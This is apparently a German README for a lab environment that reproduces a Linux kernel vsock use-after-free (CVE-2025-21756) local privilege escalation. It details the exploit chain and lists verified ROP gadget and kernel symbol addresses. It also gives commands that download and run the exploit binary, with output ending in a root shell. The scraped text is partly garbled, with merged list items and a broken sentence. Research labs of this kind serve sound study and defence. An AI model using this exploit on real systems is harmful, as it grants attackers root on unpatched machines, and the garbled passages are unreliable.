
CVE-2025-21756: Angriff des Vsock
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
CVE-2025-21756 ist eine Use-After-Free (UAF)-Sicherheitslücke im vsock (Virtual Socket)-Subsystem des Linux-Kernels, die am 26. Februar 2025 veröffentlicht wurde. Sie ermöglicht es einem lokalen Angreifer, auf betroffenen Linux-Systemen Rechte auf root zu erweitern.
net/vmw_vsock/af_vsock.cDer Fehler tritt während der Transport-Neuzuweisung eines vsock-Sockets auf. Die verwundbare Sequenz ist:
vsock_create() erstellt den Socket mit refcnt=2 und fügt ihn in die unbound-Liste eintransport->release() ruft vsock_remove_bound() auf, ohne zu prüfen, ob der Socket in die bound-Liste verschoben wurde, und dekrementiert fälschlicherweise refcntvsock_bind() nimmt an, dass der Socket noch in der unbound-Liste ist, und ruft erneut _vsock_remove_bound() aufrefcnt erreicht vorzeitig 0 → das vsock-Objekt wird freigegeben, während noch Referenzen darauf bestehen → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect()-Aufrufe mit CIDs, die unterschiedliche Transporte erzeugen, führen dazu, dass das vsock-Objekt vorzeitig freigegeben wird, während es noch in vsock_bind_table verlinkt istunix_dgram_sendmsg und order-2-Nachrichten (MIGRATE_UNMOVABLE) zurückgefordert und mit kontrollierten Daten gefülltvsock_diag_dump (nicht durch AppArmor geschützt) wird als Seitenkanal verwendet, um zu erkennen, wann die Seite zurückgefordert wurde, und den genauen Offset des Opferobjekts innerhalb der Seite zu lokalisierensk->sk_prot wird überschrieben, um auf udp_prot+0x1c0 (udp_abort) zu zeigen, was bei Aufruf sk->sk_error_report(sk) aufruft, dessen Zeiger mit einem Stack-Pivot-Gadget überschrieben wirdcommit_creds(init_cred) wird ausgeführt, um dem Prozess Root-Anmeldeinformationen zuzuweisen, gefolgt vom KPTI-Trampolin zur Rückkehr in den Benutzermodussudo-Zugriff# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
Das Skript übernimmt automatisch:
sudo falls nicht verfügbarbuild-essential, qemu-system-x86, bc, pahole, usw.)lts-6.6.75, Rootfs, Ramdisk)run_lab.sh als zentralem Einstiegspunktcd ~/cve-2025-21756-lab
./run_lab.sh
Sobald die Umgebung gebootet ist, führen Sie darin Folgendes aus:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Zum Beenden: Ctrl-A X
Der Basis-Exploit stammt von ktranowl. Die folgenden Änderungen wurden vorgenommen, um ihn in dieser Umgebung zum Laufen zu bringen:
Änderung: nokaslr zu den Kernel-Boot-Parametern hinzugefügt.
Grund: Der Original-Exploit umgeht KASLR mit EntryBleed, einer TLB-Timing-Seitenkanaltechnik, die präzises CPU-Timing erfordert. In einer verschachtelten Virtualisierungsumgebung ist die rdtsc-Präzision für EntryBleed nicht ausreichend, was zu einer falschen kbase führt und alle mit ADDRESS() berechneten Adressen ungültig macht. Das Deaktivieren von KASLR stellt sicher, dass der Kernel immer unter 0xffffffff81000000 geladen wird und die hartcodierten Offsets im Exploit immer korrekt sind.
user_rip von modeprobe_exec auf check_root geändertÄnderung in exploit.c:
// Vorher
uint64_t user_rip = (uint64_t)modeprobe_exec;
// Nachher
uint64_t user_rip = (uint64_t)check_root;
Grund: modeprobe_exec ist die im Original-Exploit verwendete Privilegieneskalationstechnik für die entfernte kCTF-Umgebung. Sie erfordert Kommandozeilenargumente (IP und Port eines entfernten Servers) und externe Netzwerkkonnektivität. Ohne diese Argumente stürzt der Prozess mit einem GPF ab, wenn versucht wird, argv[1] zu lesen. check_root überprüft direkt die uid und führt /bin/sh aus, was für die Demonstration der Ausbeutung in einer lokalen Umgebung ausreicht.
modeprobe_exec-Aufruf innerhalb von check_root entferntÄnderung in exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // entfernt
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Grund: Selbst mit user_rip, das auf check_root zeigt, rief diese Funktion intern erneut modeprobe_exec auf, bevor /bin/sh ausgeführt wurde. Ohne die erforderlichen Argumente verursachte dieser Aufruf einen GPF, und der Prozess wurde beendet, ohne eine Shell zu öffnen, obwohl commit_creds die Privilegien bereits erfolgreich erhöht hatte.
Während der Laboreinrichtung wurden alle Kernel-Symbole und ROP-Gadgets gegen den offiziellen kCTF lts-6.6.75-Kernel verifiziert, um zu bestätigen, dass sie für diese Umgebung gültig waren.
Die drei im Exploit verwendeten Gadgets wurden mit ROPgadget aus der offiziellen vmlinux-Binärdatei extrahiert und bestätigt, dass sie exakt mit den hartcodierten Werten übereinstimmen:
Keines dieser Gadgets erforderte eine Änderung.
Die folgenden Symbole wurden gegen /proc/kallsyms innerhalb des Kernels verifiziert (mit nokaslr sind die Offsets fest):
Alle Werte stimmten mit den Originalen im Exploit überein. Es waren keine Änderungen erforderlich.
address_contain_udp_abortDieser Wert zeigt nicht direkt auf die Funktion udp_abort. Er zeigt auf udp_prot + 0x1c0, das Feld diag_destroy innerhalb von struct proto. Dies ist beabsichtigt: vsock_release ruft sk->sk_prot->close(sk, 0) auf, wobei close sich an Offset 0 von struct proto befindet. Indem sk_prot auf udp_prot->diag_destroy anstatt auf den Anfang von udp_prot zeigt, liest der Kernel diag_destroy so, als wäre es der close-Zeiger, der enthält. Dies führt zu → , wo das Stack-Pivot-Gadget platziert ist.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot zeigt auf udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy-Feld, gelesen als close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← Stack-Pivot-Gadget
└── ROP-Kette
└── commit_creds(init_cred)
└── kpti_trampoline → Root-Shell
Der offizielle Patch ist ab Kernel 6.14-rc1 verfügbar und wurde auf alle gewarteten LTS-Zweige zurückportiert. Betroffene Distributionen haben eigene Sicherheitshinweise herausgegeben:
Dieses Tool wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für jeglichen Missbrauch.
execve("/bin/sh") mit uid=0| Gadget | Adresse | Zweck |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Stack-Pivot — verschiebt RSP an den Anfang des kontrollierten vsock-Objekts |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Stack-Vorschub — überspringt reservierte Felder, um zur ROP-Kette zu gelangen |
pop rdi ; ret | 0xffffffff8115e4f9 | Lädt das erste Argument für commit_creds(init_cred) |
| Symbol | Adresse | Anmerkungen |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Seitenkanal-Anker — der vsock-Listenslot, in dem das Opferobjekt landet |
init_net | 0xffffffff84bb1f80 | Wird verwendet, um das gefälschte vsock-Objekt über vsock_diag_dump zu validieren |
commit_creds | 0xffffffff811fdac0 | Weist dem aktuellen Prozess Root-Anmeldeinformationen zu |
init_cred | 0xffffffff83c74d80 | Anmeldeinformationsstruktur mit uid=gid=0, in einem festen Offset von der Kernel-Basis |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — stellt CR3 wieder her und kehrt in den Benutzermodus zurück |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — siehe Anmerkung unten |
udp_abortsk_error_report(sk)sk->sk_error_report(sk)| Aspekt | Original (ktranowl) | Dieses Labor |
|---|
| KASLR-Umgehung | EntryBleed (TLB-Timing) | Deaktiviert (nokaslr) |
| Escalation-Technik | modeprobe_exec über core_pattern | execve("/bin/sh") direkt |
| Zielumgebung | Remote kCTF | Lokal |
| Externe Konnektivität erforderlich | Ja | Nein |
| Ressource | URL |
|---|
| Originaler Bericht (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Hoefler-Exploit | https://github.com/hoefler02/CVE-2025-21756 |
| n-Day-Analyse (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| ktranowl-Exploit | https://github.com/khoatran107/cve-2025-21756 |
| Offizieller Patch | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| kCTF-Regeln | https://google.github.io/security-research/kernelctf/rules.html |